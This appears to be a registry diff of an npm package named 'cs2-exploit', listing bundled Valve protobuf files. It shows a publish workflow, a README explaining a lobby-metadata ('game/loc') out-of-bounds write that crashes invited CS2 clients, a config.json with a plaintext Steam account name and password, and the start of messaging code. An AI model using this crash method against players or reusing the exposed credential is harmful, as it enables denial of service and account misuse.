cs2-exploit 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of cs2-exploit might be problematic. Click here for more details.

Files changed (396) hide show
  1. package/.github/workflows/npm-publish-github-packages.yml +36 -0
  2. package/README.md +25 -0
  3. package/config.json +6 -0
  4. package/helpers/Coordinator.js +157 -0
  5. package/helpers/Helper.js +171 -0
  6. package/helpers/Lobby.js +396 -0
  7. package/helpers/Protos.js +47 -0
  8. package/helpers/VDF.js +140 -0
  9. package/index.js +137 -0
  10. package/package.json +25 -0
  11. package/protobufs/.gitattributes +1 -0
  12. package/protobufs/LICENSE +24 -0
  13. package/protobufs/README.md +7 -0
  14. package/protobufs/artifact/base_gcmessages.proto +532 -0
  15. package/protobufs/artifact/c_peer2peer_netmessages.proto +57 -0
  16. package/protobufs/artifact/clientmessages.proto +51 -0
  17. package/protobufs/artifact/connectionless_netmessages.proto +21 -0
  18. package/protobufs/artifact/dcg_gamemessages.proto +638 -0
  19. package/protobufs/artifact/dcg_gcmessages_client.proto +1590 -0
  20. package/protobufs/artifact/dcg_gcmessages_common.proto +617 -0
  21. package/protobufs/artifact/dcg_gcmessages_server.proto +395 -0
  22. package/protobufs/artifact/demo.proto +149 -0
  23. package/protobufs/artifact/econ_gcmessages.proto +1033 -0
  24. package/protobufs/artifact/econ_shared_enums.proto +47 -0
  25. package/protobufs/artifact/gameevents.proto +121 -0
  26. package/protobufs/artifact/gametoolevents.proto +78 -0
  27. package/protobufs/artifact/gcsdk_gcmessages.proto +391 -0
  28. package/protobufs/artifact/gcsystemmsgs.proto +28 -0
  29. package/protobufs/artifact/netmessages.proto +551 -0
  30. package/protobufs/artifact/network_connection.proto +117 -0
  31. package/protobufs/artifact/networkbasetypes.proto +206 -0
  32. package/protobufs/artifact/networksystem_protomessages.proto +19 -0
  33. package/protobufs/artifact/steamdatagram_messages_auth.proto +38 -0
  34. package/protobufs/artifact/steamdatagram_messages_sdr.proto +441 -0
  35. package/protobufs/artifact/steammessages.proto +636 -0
  36. package/protobufs/artifact/steammessages_base.proto +83 -0
  37. package/protobufs/artifact/steammessages_cloud.steamworkssdk.proto +68 -0
  38. package/protobufs/artifact/steammessages_oauth.steamworkssdk.proto +18 -0
  39. package/protobufs/artifact/steammessages_publishedfile.steamworkssdk.proto +233 -0
  40. package/protobufs/artifact/steammessages_unified_base.steamworkssdk.proto +30 -0
  41. package/protobufs/artifact/steamnetworkingsockets_messages.proto +113 -0
  42. package/protobufs/artifact/steamnetworkingsockets_messages_certs.proto +32 -0
  43. package/protobufs/artifact/steamnetworkingsockets_messages_udp.proto +76 -0
  44. package/protobufs/artifact/te.proto +257 -0
  45. package/protobufs/artifact/uifontfile_format.proto +16 -0
  46. package/protobufs/artifact/usermessages.proto +473 -0
  47. package/protobufs/csgo/base_gcmessages_csgo.proto +547 -0
  48. package/protobufs/csgo/c_peer2peer_netmessages.proto +55 -0
  49. package/protobufs/csgo/clientmessages.proto +48 -0
  50. package/protobufs/csgo/connectionless_netmessages.proto +17 -0
  51. package/protobufs/csgo/cs_gameevents.proto +35 -0
  52. package/protobufs/csgo/cs_usercmd.proto +54 -0
  53. package/protobufs/csgo/cstrike15_gcmessages.proto +1415 -0
  54. package/protobufs/csgo/cstrike15_usermessages.proto +596 -0
  55. package/protobufs/csgo/demo.proto +160 -0
  56. package/protobufs/csgo/econ_gcmessages.proto +228 -0
  57. package/protobufs/csgo/engine_gcmessages.proto +14 -0
  58. package/protobufs/csgo/enums_clientserver.proto +1529 -0
  59. package/protobufs/csgo/fatdemo.proto +125 -0
  60. package/protobufs/csgo/gameevents.proto +120 -0
  61. package/protobufs/csgo/gcsdk_gcmessages.proto +323 -0
  62. package/protobufs/csgo/gcsystemmsgs.proto +242 -0
  63. package/protobufs/csgo/netmessages.proto +607 -0
  64. package/protobufs/csgo/network_connection.proto +126 -0
  65. package/protobufs/csgo/networkbasetypes.proto +244 -0
  66. package/protobufs/csgo/networksystem_protomessages.proto +17 -0
  67. package/protobufs/csgo/steamdatagram_messages_auth.proto +65 -0
  68. package/protobufs/csgo/steamdatagram_messages_sdr.proto +534 -0
  69. package/protobufs/csgo/steammessages.proto +597 -0
  70. package/protobufs/csgo/steammessages_base.proto +301 -0
  71. package/protobufs/csgo/steammessages_cloud.steamworkssdk.proto +68 -0
  72. package/protobufs/csgo/steammessages_gamenetworkingui.proto +61 -0
  73. package/protobufs/csgo/steammessages_helprequest.steamworkssdk.proto +22 -0
  74. package/protobufs/csgo/steammessages_oauth.steamworkssdk.proto +18 -0
  75. package/protobufs/csgo/steammessages_player.steamworkssdk.proto +254 -0
  76. package/protobufs/csgo/steammessages_publishedfile.steamworkssdk.proto +233 -0
  77. package/protobufs/csgo/steammessages_unified_base.steamworkssdk.proto +30 -0
  78. package/protobufs/csgo/steamnetworkingsockets_messages.proto +205 -0
  79. package/protobufs/csgo/steamnetworkingsockets_messages_certs.proto +39 -0
  80. package/protobufs/csgo/steamnetworkingsockets_messages_udp.proto +75 -0
  81. package/protobufs/csgo/te.proto +259 -0
  82. package/protobufs/csgo/uifontfile_format.proto +13 -0
  83. package/protobufs/csgo/usercmd.proto +37 -0
  84. package/protobufs/csgo/usermessages.proto +742 -0
  85. package/protobufs/csgo/valveextensions.proto +17 -0
  86. package/protobufs/dota2/base_gcmessages.proto +400 -0
  87. package/protobufs/dota2/c_peer2peer_netmessages.proto +55 -0
  88. package/protobufs/dota2/clientmessages.proto +48 -0
  89. package/protobufs/dota2/connectionless_netmessages.proto +19 -0
  90. package/protobufs/dota2/demo.proto +160 -0
  91. package/protobufs/dota2/dota_broadcastmessages.proto +29 -0
  92. package/protobufs/dota2/dota_client_enums.proto +93 -0
  93. package/protobufs/dota2/dota_clientmessages.proto +573 -0
  94. package/protobufs/dota2/dota_commonmessages.proto +146 -0
  95. package/protobufs/dota2/dota_gcmessages_client.proto +3336 -0
  96. package/protobufs/dota2/dota_gcmessages_client_battle_report.proto +393 -0
  97. package/protobufs/dota2/dota_gcmessages_client_bingo.proto +108 -0
  98. package/protobufs/dota2/dota_gcmessages_client_candy_shop.proto +302 -0
  99. package/protobufs/dota2/dota_gcmessages_client_chat.proto +239 -0
  100. package/protobufs/dota2/dota_gcmessages_client_coaching.proto +376 -0
  101. package/protobufs/dota2/dota_gcmessages_client_fantasy.proto +564 -0
  102. package/protobufs/dota2/dota_gcmessages_client_guild.proto +651 -0
  103. package/protobufs/dota2/dota_gcmessages_client_guild_events.proto +231 -0
  104. package/protobufs/dota2/dota_gcmessages_client_match_management.proto +468 -0
  105. package/protobufs/dota2/dota_gcmessages_client_showcase.proto +528 -0
  106. package/protobufs/dota2/dota_gcmessages_client_team.proto +275 -0
  107. package/protobufs/dota2/dota_gcmessages_client_tournament.proto +173 -0
  108. package/protobufs/dota2/dota_gcmessages_client_watch.proto +205 -0
  109. package/protobufs/dota2/dota_gcmessages_common.proto +1667 -0
  110. package/protobufs/dota2/dota_gcmessages_common_bot_script.proto +294 -0
  111. package/protobufs/dota2/dota_gcmessages_common_league.proto +351 -0
  112. package/protobufs/dota2/dota_gcmessages_common_lobby.proto +391 -0
  113. package/protobufs/dota2/dota_gcmessages_common_match_management.proto +488 -0
  114. package/protobufs/dota2/dota_gcmessages_msgid.proto +890 -0
  115. package/protobufs/dota2/dota_gcmessages_server.proto +1495 -0
  116. package/protobufs/dota2/dota_gcmessages_webapi.proto +376 -0
  117. package/protobufs/dota2/dota_hud_types.proto +33 -0
  118. package/protobufs/dota2/dota_match_metadata.proto +346 -0
  119. package/protobufs/dota2/dota_messages_mlbot.proto +62 -0
  120. package/protobufs/dota2/dota_modifiers.proto +53 -0
  121. package/protobufs/dota2/dota_scenariomessages.proto +226 -0
  122. package/protobufs/dota2/dota_shared_enums.proto +820 -0
  123. package/protobufs/dota2/dota_usercmd.proto +15 -0
  124. package/protobufs/dota2/dota_usermessages.proto +1655 -0
  125. package/protobufs/dota2/econ_gcmessages.proto +997 -0
  126. package/protobufs/dota2/econ_shared_enums.proto +37 -0
  127. package/protobufs/dota2/engine_gcmessages.proto +14 -0
  128. package/protobufs/dota2/enums_clientserver.proto +1547 -0
  129. package/protobufs/dota2/gameevents.proto +120 -0
  130. package/protobufs/dota2/gametoolevents.proto +78 -0
  131. package/protobufs/dota2/gcsdk_gcmessages.proto +488 -0
  132. package/protobufs/dota2/gcsystemmsgs.proto +26 -0
  133. package/protobufs/dota2/netmessages.proto +604 -0
  134. package/protobufs/dota2/network_connection.proto +126 -0
  135. package/protobufs/dota2/networkbasetypes.proto +244 -0
  136. package/protobufs/dota2/networksystem_protomessages.proto +17 -0
  137. package/protobufs/dota2/steamdatagram_messages_auth.proto +65 -0
  138. package/protobufs/dota2/steamdatagram_messages_sdr.proto +533 -0
  139. package/protobufs/dota2/steammessages.proto +108 -0
  140. package/protobufs/dota2/steammessages_base.proto +332 -0
  141. package/protobufs/dota2/steammessages_clientserver_login.proto +155 -0
  142. package/protobufs/dota2/steammessages_cloud.steamworkssdk.proto +68 -0
  143. package/protobufs/dota2/steammessages_gamenetworkingui.proto +42 -0
  144. package/protobufs/dota2/steammessages_helprequest.steamworkssdk.proto +22 -0
  145. package/protobufs/dota2/steammessages_int.proto +628 -0
  146. package/protobufs/dota2/steammessages_oauth.steamworkssdk.proto +18 -0
  147. package/protobufs/dota2/steammessages_player.steamworkssdk.proto +254 -0
  148. package/protobufs/dota2/steammessages_publishedfile.steamworkssdk.proto +233 -0
  149. package/protobufs/dota2/steammessages_steamlearn.steamworkssdk.proto +360 -0
  150. package/protobufs/dota2/steammessages_unified_base.steamworkssdk.proto +30 -0
  151. package/protobufs/dota2/steamnetworkingsockets_messages.proto +205 -0
  152. package/protobufs/dota2/steamnetworkingsockets_messages_certs.proto +39 -0
  153. package/protobufs/dota2/steamnetworkingsockets_messages_udp.proto +75 -0
  154. package/protobufs/dota2/te.proto +259 -0
  155. package/protobufs/dota2/uifontfile_format.proto +13 -0
  156. package/protobufs/dota2/usercmd.proto +38 -0
  157. package/protobufs/dota2/usermessages.proto +721 -0
  158. package/protobufs/dota2/valveextensions.proto +17 -0
  159. package/protobufs/google/protobuf/descriptor.proto +281 -0
  160. package/protobufs/steam/clientmetrics.proto +45 -0
  161. package/protobufs/steam/content_manifest.proto +62 -0
  162. package/protobufs/steam/contenthubs.proto +41 -0
  163. package/protobufs/steam/encrypted_app_ticket.proto +10 -0
  164. package/protobufs/steam/enums.proto +482 -0
  165. package/protobufs/steam/enums_clientserver.proto +1525 -0
  166. package/protobufs/steam/enums_productinfo.proto +13 -0
  167. package/protobufs/steam/htmlmessages.proto +1031 -0
  168. package/protobufs/steam/offline_ticket.proto +8 -0
  169. package/protobufs/steam/steamdatagram_messages_auth.proto +65 -0
  170. package/protobufs/steam/steamdatagram_messages_sdr.proto +534 -0
  171. package/protobufs/steam/steammessages_accounthardware.steamclient.proto +167 -0
  172. package/protobufs/steam/steammessages_appoverview.proto +202 -0
  173. package/protobufs/steam/steammessages_auth.steamclient.proto +375 -0
  174. package/protobufs/steam/steammessages_base.proto +335 -0
  175. package/protobufs/steam/steammessages_broadcast.steamclient.proto +619 -0
  176. package/protobufs/steam/steammessages_chat.steamclient.proto +1070 -0
  177. package/protobufs/steam/steammessages_client_objects.proto +648 -0
  178. package/protobufs/steam/steammessages_clientlanp2p.proto +43 -0
  179. package/protobufs/steam/steammessages_clientmetrics.steamclient.proto +192 -0
  180. package/protobufs/steam/steammessages_clientnotificationtypes.proto +242 -0
  181. package/protobufs/steam/steammessages_clientserver.proto +392 -0
  182. package/protobufs/steam/steammessages_clientserver_2.proto +771 -0
  183. package/protobufs/steam/steammessages_clientserver_appinfo.proto +131 -0
  184. package/protobufs/steam/steammessages_clientserver_friends.proto +260 -0
  185. package/protobufs/steam/steammessages_clientserver_gameservers.proto +159 -0
  186. package/protobufs/steam/steammessages_clientserver_lbs.proto +70 -0
  187. package/protobufs/steam/steammessages_clientserver_login.proto +167 -0
  188. package/protobufs/steam/steammessages_clientserver_mms.proto +228 -0
  189. package/protobufs/steam/steammessages_clientserver_ucm.proto +206 -0
  190. package/protobufs/steam/steammessages_clientserver_uds.proto +125 -0
  191. package/protobufs/steam/steammessages_clientserver_ufs.proto +172 -0
  192. package/protobufs/steam/steammessages_clientserver_userstats.proto +80 -0
  193. package/protobufs/steam/steammessages_clientsettings.proto +184 -0
  194. package/protobufs/steam/steammessages_cloud.steamclient.proto +422 -0
  195. package/protobufs/steam/steammessages_contentsystem.steamclient.proto +123 -0
  196. package/protobufs/steam/steammessages_credentials.steamclient.proto +96 -0
  197. package/protobufs/steam/steammessages_datapublisher.steamclient.proto +102 -0
  198. package/protobufs/steam/steammessages_depotbuilder.steamclient.proto +99 -0
  199. package/protobufs/steam/steammessages_deviceauth.steamclient.proto +169 -0
  200. package/protobufs/steam/steammessages_econ.steamclient.proto +137 -0
  201. package/protobufs/steam/steammessages_familygroups.steamclient.proto +389 -0
  202. package/protobufs/steam/steammessages_friendmessages.steamclient.proto +141 -0
  203. package/protobufs/steam/steammessages_gamenetworking.steamclient.proto +25 -0
  204. package/protobufs/steam/steammessages_gamenetworkingui.proto +61 -0
  205. package/protobufs/steam/steammessages_gamenotifications.steamclient.proto +131 -0
  206. package/protobufs/steam/steammessages_gameservers.steamclient.proto +136 -0
  207. package/protobufs/steam/steammessages_hiddevices.proto +157 -0
  208. package/protobufs/steam/steammessages_inventory.steamclient.proto +172 -0
  209. package/protobufs/steam/steammessages_linkfilter.steamclient.proto +39 -0
  210. package/protobufs/steam/steammessages_lobbymatchmaking.steamclient.proto +29 -0
  211. package/protobufs/steam/steammessages_market.steamclient.proto +22 -0
  212. package/protobufs/steam/steammessages_marketingmessages.steamclient.proto +264 -0
  213. package/protobufs/steam/steammessages_offline.steamclient.proto +33 -0
  214. package/protobufs/steam/steammessages_parental.steamclient.proto +260 -0
  215. package/protobufs/steam/steammessages_parties.steamclient.proto +75 -0
  216. package/protobufs/steam/steammessages_partnerapps.steamclient.proto +106 -0
  217. package/protobufs/steam/steammessages_player.steamclient.proto +897 -0
  218. package/protobufs/steam/steammessages_publishedfile.steamclient.proto +734 -0
  219. package/protobufs/steam/steammessages_qms.steamclient.proto +111 -0
  220. package/protobufs/steam/steammessages_remoteclient.proto +99 -0
  221. package/protobufs/steam/steammessages_remoteclient_discovery.proto +243 -0
  222. package/protobufs/steam/steammessages_remoteclient_service.steamclient.proto +31 -0
  223. package/protobufs/steam/steammessages_remoteclient_service_messages.proto +217 -0
  224. package/protobufs/steam/steammessages_remoteplay.proto +976 -0
  225. package/protobufs/steam/steammessages_secrets.steamclient.proto +35 -0
  226. package/protobufs/steam/steammessages_shader.steamclient.proto +89 -0
  227. package/protobufs/steam/steammessages_site_license.steamclient.proto +103 -0
  228. package/protobufs/steam/steammessages_sitelicenseclient.proto +38 -0
  229. package/protobufs/steam/steammessages_siteserverui.proto +130 -0
  230. package/protobufs/steam/steammessages_star.steamclient.proto +60 -0
  231. package/protobufs/steam/steammessages_steamtv.steamclient.proto +533 -0
  232. package/protobufs/steam/steammessages_store.steamclient.proto +404 -0
  233. package/protobufs/steam/steammessages_storebrowse.steamclient.proto +430 -0
  234. package/protobufs/steam/steammessages_timedtrial.steamclient.proto +40 -0
  235. package/protobufs/steam/steammessages_twofactor.steamclient.proto +157 -0
  236. package/protobufs/steam/steammessages_unified_base.steamclient.proto +33 -0
  237. package/protobufs/steam/steammessages_unified_test.steamclient.proto +51 -0
  238. package/protobufs/steam/steammessages_useraccount.steamclient.proto +207 -0
  239. package/protobufs/steam/steammessages_vac.steamclient.proto +37 -0
  240. package/protobufs/steam/steammessages_video.steamclient.proto +68 -0
  241. package/protobufs/steam/steammessages_virtualcontroller.proto +138 -0
  242. package/protobufs/steam/steammessages_workshop.steamclient.proto +19 -0
  243. package/protobufs/steam/steamnetworkingsockets_messages.proto +205 -0
  244. package/protobufs/steam/steamnetworkingsockets_messages_certs.proto +39 -0
  245. package/protobufs/steam/steamnetworkingsockets_messages_udp.proto +75 -0
  246. package/protobufs/steam/webuimessages_achievements.proto +29 -0
  247. package/protobufs/steam/webuimessages_base.proto +24 -0
  248. package/protobufs/steam/webuimessages_gamenotes.proto +21 -0
  249. package/protobufs/steam/webuimessages_gamescope.proto +54 -0
  250. package/protobufs/steam/webuimessages_steamengine.proto +41 -0
  251. package/protobufs/steam/webuimessages_steamos.proto +114 -0
  252. package/protobufs/steam/webuimessages_storagedevicemanager.proto +110 -0
  253. package/protobufs/steam/webuimessages_systemmanager.proto +17 -0
  254. package/protobufs/steam/webuimessages_transport.proto +18 -0
  255. package/protobufs/steam/webuimessages_transportvalidation.proto +111 -0
  256. package/protobufs/tf2/base_gcmessages.proto +561 -0
  257. package/protobufs/tf2/econ_gcmessages.proto +368 -0
  258. package/protobufs/tf2/gcsdk_gcmessages.proto +186 -0
  259. package/protobufs/tf2/gcsystemmsgs.proto +178 -0
  260. package/protobufs/tf2/steamdatagram_auth_messages.proto +50 -0
  261. package/protobufs/tf2/steamdatagram_messages.proto +598 -0
  262. package/protobufs/tf2/steamdatagram_messages_auth.proto +65 -0
  263. package/protobufs/tf2/steamdatagram_messages_sdr.proto +518 -0
  264. package/protobufs/tf2/steammessages.proto +577 -0
  265. package/protobufs/tf2/steammessages_gamenetworkingui.proto +42 -0
  266. package/protobufs/tf2/steamnetworkingsockets_messages.proto +204 -0
  267. package/protobufs/tf2/steamnetworkingsockets_messages_certs.proto +38 -0
  268. package/protobufs/tf2/steamnetworkingsockets_messages_udp.proto +75 -0
  269. package/protobufs/tf2/tf_gcmessages.proto +1624 -0
  270. package/protobufs/tf2/tf_proto_def_messages.proto +598 -0
  271. package/protobufs/underlords/base_gcmessages.proto +532 -0
  272. package/protobufs/underlords/c_peer2peer_netmessages.proto +57 -0
  273. package/protobufs/underlords/clientmessages.proto +51 -0
  274. package/protobufs/underlords/connectionless_netmessages.proto +21 -0
  275. package/protobufs/underlords/dac_gamemessages.proto +1376 -0
  276. package/protobufs/underlords/dac_gcmessages_client.proto +1518 -0
  277. package/protobufs/underlords/dac_gcmessages_common.proto +377 -0
  278. package/protobufs/underlords/dac_gcmessages_server.proto +417 -0
  279. package/protobufs/underlords/demo.proto +149 -0
  280. package/protobufs/underlords/econ_gcmessages.proto +1063 -0
  281. package/protobufs/underlords/econ_shared_enums.proto +47 -0
  282. package/protobufs/underlords/enums_clientserver.proto +1538 -0
  283. package/protobufs/underlords/gameevents.proto +121 -0
  284. package/protobufs/underlords/gametoolevents.proto +78 -0
  285. package/protobufs/underlords/gcsdk_gcmessages.proto +448 -0
  286. package/protobufs/underlords/gcsystemmsgs.proto +29 -0
  287. package/protobufs/underlords/netmessages.proto +553 -0
  288. package/protobufs/underlords/network_connection.proto +117 -0
  289. package/protobufs/underlords/networkbasetypes.proto +219 -0
  290. package/protobufs/underlords/networksystem_protomessages.proto +19 -0
  291. package/protobufs/underlords/steamdatagram_messages_auth.proto +64 -0
  292. package/protobufs/underlords/steamdatagram_messages_sdr.proto +482 -0
  293. package/protobufs/underlords/steammessages.proto +701 -0
  294. package/protobufs/underlords/steammessages_base.proto +243 -0
  295. package/protobufs/underlords/steammessages_clientserver_login.proto +155 -0
  296. package/protobufs/underlords/steammessages_cloud.steamworkssdk.proto +68 -0
  297. package/protobufs/underlords/steammessages_helprequest.steamworkssdk.proto +22 -0
  298. package/protobufs/underlords/steammessages_oauth.steamworkssdk.proto +18 -0
  299. package/protobufs/underlords/steammessages_player.steamworkssdk.proto +254 -0
  300. package/protobufs/underlords/steammessages_publishedfile.steamworkssdk.proto +233 -0
  301. package/protobufs/underlords/steammessages_unified_base.steamworkssdk.proto +30 -0
  302. package/protobufs/underlords/steamnetworkingsockets_messages.proto +165 -0
  303. package/protobufs/underlords/steamnetworkingsockets_messages_certs.proto +38 -0
  304. package/protobufs/underlords/steamnetworkingsockets_messages_udp.proto +74 -0
  305. package/protobufs/underlords/te.proto +259 -0
  306. package/protobufs/underlords/uifontfile_format.proto +16 -0
  307. package/protobufs/underlords/usermessages.proto +511 -0
  308. package/protobufs/underlords/valveextensions.proto +11 -0
  309. package/protobufs/update.sh +13 -0
  310. package/protobufs/webui/common.proto +3998 -0
  311. package/protobufs/webui/common_base.proto +27 -0
  312. package/protobufs/webui/service_accountcart.proto +153 -0
  313. package/protobufs/webui/service_accountlinking.proto +27 -0
  314. package/protobufs/webui/service_accountprivacy.proto +42 -0
  315. package/protobufs/webui/service_accountprivateapps.proto +34 -0
  316. package/protobufs/webui/service_auction.proto +97 -0
  317. package/protobufs/webui/service_authentication.proto +222 -0
  318. package/protobufs/webui/service_authenticationsupport.proto +74 -0
  319. package/protobufs/webui/service_broadcast.proto +562 -0
  320. package/protobufs/webui/service_chat.proto +11 -0
  321. package/protobufs/webui/service_chatroom.proto +810 -0
  322. package/protobufs/webui/service_chatusability.proto +107 -0
  323. package/protobufs/webui/service_checkout.proto +83 -0
  324. package/protobufs/webui/service_clan.proto +41 -0
  325. package/protobufs/webui/service_clanchatrooms.proto +25 -0
  326. package/protobufs/webui/service_clanfaqs.proto +202 -0
  327. package/protobufs/webui/service_clientcomm.proto +151 -0
  328. package/protobufs/webui/service_clientmetrics.proto +22 -0
  329. package/protobufs/webui/service_cloud.proto +222 -0
  330. package/protobufs/webui/service_cloudconfigstore.proto +51 -0
  331. package/protobufs/webui/service_cloudgaming.proto +30 -0
  332. package/protobufs/webui/service_community.proto +365 -0
  333. package/protobufs/webui/service_dailydeal.proto +66 -0
  334. package/protobufs/webui/service_econ.proto +134 -0
  335. package/protobufs/webui/service_embedded.proto +24 -0
  336. package/protobufs/webui/service_experimentservice.proto +6 -0
  337. package/protobufs/webui/service_familygroups.proto +329 -0
  338. package/protobufs/webui/service_fovasvideo.proto +15 -0
  339. package/protobufs/webui/service_friendmessages.proto +133 -0
  340. package/protobufs/webui/service_friendslist.proto +70 -0
  341. package/protobufs/webui/service_gamenotes.proto +15 -0
  342. package/protobufs/webui/service_gamerecording.proto +259 -0
  343. package/protobufs/webui/service_gamerecordingclip.proto +83 -0
  344. package/protobufs/webui/service_gamerecordingdebug.proto +52 -0
  345. package/protobufs/webui/service_helprequestlogs.proto +16 -0
  346. package/protobufs/webui/service_loyaltyrewards.proto +252 -0
  347. package/protobufs/webui/service_marketingmessages.proto +215 -0
  348. package/protobufs/webui/service_mobileapp.proto +18 -0
  349. package/protobufs/webui/service_mobileauth.proto +24 -0
  350. package/protobufs/webui/service_mobiledevice.proto +26 -0
  351. package/protobufs/webui/service_mobileperaccount.proto +31 -0
  352. package/protobufs/webui/service_news.proto +110 -0
  353. package/protobufs/webui/service_parental.proto +256 -0
  354. package/protobufs/webui/service_partnermembershipinvite.proto +34 -0
  355. package/protobufs/webui/service_partnerstorebrowse.proto +28 -0
  356. package/protobufs/webui/service_phone.proto +51 -0
  357. package/protobufs/webui/service_physicalgoods.proto +15 -0
  358. package/protobufs/webui/service_player.proto +917 -0
  359. package/protobufs/webui/service_promotioneventinvites.proto +109 -0
  360. package/protobufs/webui/service_promotionplanning.proto +172 -0
  361. package/protobufs/webui/service_publishedfile.proto +711 -0
  362. package/protobufs/webui/service_publishing.proto +183 -0
  363. package/protobufs/webui/service_quest.proto +127 -0
  364. package/protobufs/webui/service_salefeature.proto +357 -0
  365. package/protobufs/webui/service_saleitemrewards.proto +54 -0
  366. package/protobufs/webui/service_shoppingcart.proto +152 -0
  367. package/protobufs/webui/service_steamawards.proto +76 -0
  368. package/protobufs/webui/service_steamcharts.proto +75 -0
  369. package/protobufs/webui/service_steamengine.proto +36 -0
  370. package/protobufs/webui/service_steamlearn.proto +780 -0
  371. package/protobufs/webui/service_steamnotification.proto +73 -0
  372. package/protobufs/webui/service_steamtv.proto +495 -0
  373. package/protobufs/webui/service_steamvrvoicechat.proto +67 -0
  374. package/protobufs/webui/service_steamvrwebrtc.proto +48 -0
  375. package/protobufs/webui/service_storagedevicemanager.proto +104 -0
  376. package/protobufs/webui/service_store.proto +359 -0
  377. package/protobufs/webui/service_storeappsimilarity.proto +76 -0
  378. package/protobufs/webui/service_storebrowse.proto +102 -0
  379. package/protobufs/webui/service_storemarketing.proto +41 -0
  380. package/protobufs/webui/service_storequery.proto +103 -0
  381. package/protobufs/webui/service_storesales.proto +87 -0
  382. package/protobufs/webui/service_storetopsellers.proto +44 -0
  383. package/protobufs/webui/service_systemmanager.proto +11 -0
  384. package/protobufs/webui/service_test_transporterror.proto +6 -0
  385. package/protobufs/webui/service_transportauth.proto +12 -0
  386. package/protobufs/webui/service_transportvalidation.proto +69 -0
  387. package/protobufs/webui/service_twofactor.proto +170 -0
  388. package/protobufs/webui/service_useraccount.proto +138 -0
  389. package/protobufs/webui/service_usergameactivity.proto +34 -0
  390. package/protobufs/webui/service_usergamenotes.proto +70 -0
  391. package/protobufs/webui/service_usernews.proto +68 -0
  392. package/protobufs/webui/service_userreviews.proto +96 -0
  393. package/protobufs/webui/service_video.proto +50 -0
  394. package/protobufs/webui/service_videoclip.proto +48 -0
  395. package/protobufs/webui/service_voicechat.proto +139 -0
  396. package/protobufs/webui/service_webrtc.proto +52 -0
@@ -0,0 +1,36 @@
1
+ # This workflow will run tests using node and then publish a package to GitHub Packages when a release is created
2
+ # For more information see: https://docs.github.com/en/actions/publishing-packages/publishing-nodejs-packages
3
+
4
+ name: Node.js Package
5
+
6
+ on:
7
+ release:
8
+ types: [created]
9
+
10
+ jobs:
11
+ build:
12
+ runs-on: ubuntu-latest
13
+ steps:
14
+ - uses: actions/checkout@v3
15
+ - uses: actions/setup-node@v3
16
+ with:
17
+ node-version: 16
18
+ - run: npm ci
19
+ - run: npm test
20
+
21
+ publish-gpr:
22
+ needs: build
23
+ runs-on: ubuntu-latest
24
+ permissions:
25
+ contents: read
26
+ packages: write
27
+ steps:
28
+ - uses: actions/checkout@v3
29
+ - uses: actions/setup-node@v3
30
+ with:
31
+ node-version: 16
32
+ registry-url: https://npm.pkg.github.com/
33
+ - run: npm ci
34
+ - run: npm publish
35
+ env:
36
+ NODE_AUTH_TOKEN: ${{secrets.GITHUB_TOKEN}}
package/README.md ADDED
@@ -0,0 +1,25 @@
1
+ # The Exploit
2
+ This exploit relies on the [game:loc](https://github.com/imhunterand/cs2-exploit/blob/main/helpers/Lobby.js#L260) metadata key, which when set to a length greater than `2^15` or `32768` and a client is invited, an out of bounds memory write is triggered, leading to an Access Violation/Segmentation Fault which ultimately crashes the CS:GO client.
3
+ This XML file includes a Javascript file (`panorama/scripts/friendlobby.js`) that populates the fields such as the lobby members' avatars, the gamemode, the average lobby rank, and most importantly, the lobby location.
4
+ ```js
5
+ var _SetFlag = function ( elTile )
6
+ {
7
+ var countryCode = PartyBrowserAPI.GetPartySessionSetting( _m_xuid, 'game/loc' );
8
+ var elFlagImg = elTile.FindChildTraverse( 'JsFriendLobbyFlag' );
9
+ if ( countryCode )
10
+ {
11
+ elFlagImg.SetImage( 'file://{images}/flags/'+ countryCode +'.png' );
12
+ elFlagImg.RemoveClass( 'hidden' );
13
+ }
14
+ else
15
+ {
16
+ elFlagImg.AddClass( 'hidden' );
17
+ }
18
+ };
19
+ ```
20
+ The hash function attempted to call the Clang `memset` function and write the parsed filepath to another area of memory without validating the size of the source data. This is called an `Out-of-bounds Write`.
21
+ Initially, I had attempted to escalate this vulnerability to an RCE or remote code execution since the Valve bug bounty program would consider a client crasher out of scope. After contacting many friends who were much better than I was at reverse engineering, it was concluded that the most that could be achieved with this exploit was Denial of Service.
22
+
23
+ ## Credits
24
+ - Thanks to @imhunterand for finding the crash method
25
+ - Thanks to the @pwn0sec CSE Team for being our test subjects
package/config.json ADDED
@@ -0,0 +1,6 @@
1
+ {
2
+ "details": {
3
+ "accountName": "eendlela5zl",
4
+ "password": "2TdRpLF673rZERch"
5
+ }
6
+ }
@@ -0,0 +1,157 @@
1
+ const Events = require("events");
2
+ const ByteBuffer = require("bytebuffer");
3
+ const Protos = require("./Protos.js");
4
+
5
+ module.exports = class Coordinator extends Events {
6
+ constructor(steamUser) {
7
+ super();
8
+
9
+ this.steamUser = steamUser;
10
+ this.Protos = Protos([
11
+ {
12
+ name: "csgo",
13
+ protos: [
14
+ __dirname + "/../protobufs/csgo/gcsystemmsgs.proto",
15
+ __dirname + "/../protobufs/csgo/gcsdk_gcmessages.proto",
16
+ __dirname + "/../protobufs/csgo/cstrike15_gcmessages.proto"
17
+ ]
18
+ },
19
+ {
20
+ name: "steam",
21
+ protos: [
22
+ __dirname + "/../protobufs/steam/steammessages_base.proto",
23
+ __dirname + "/../protobufs/steam/steammessages_clientserver_2.proto",
24
+ __dirname + "/../protobufs/steam/steammessages_clientserver.proto",
25
+ __dirname + "/../protobufs/steam/steammessages_clientserver_friends.proto"
26
+ ]
27
+ }
28
+ ]);
29
+
30
+ steamUser.on("receivedFromGC", (appid, msgType, payload) => {
31
+ if (appid !== 730) {
32
+ return;
33
+ }
34
+
35
+ this.emit("receivedFromGC", msgType, payload);
36
+ });
37
+
38
+ let _handleMessage = this.steamUser._handleMessage;
39
+ this.steamUser._handleMessage = (header, body) => {
40
+ _handleMessage.call(this.steamUser, header, body);
41
+
42
+ this.emit("receivedFromSteam", header, body);
43
+ }
44
+ }
45
+
46
+ /**
47
+ * Send a message and get the response from it if needed
48
+ * @param {Number|undefined} appid AppID where to send the GC message to - Pass "undefined" for customized proto
49
+ * @param {Number} header The identifier of the message we are sending
50
+ * @param {Object} proto Header proto
51
+ * @param {Constructor|undefined} protobuf Constructor to create the buffer with settings. If "undefined" then "settings" HAS to be a buffer
52
+ * @param {Object} settings Settings to combine with the protobuf to construct the buffer
53
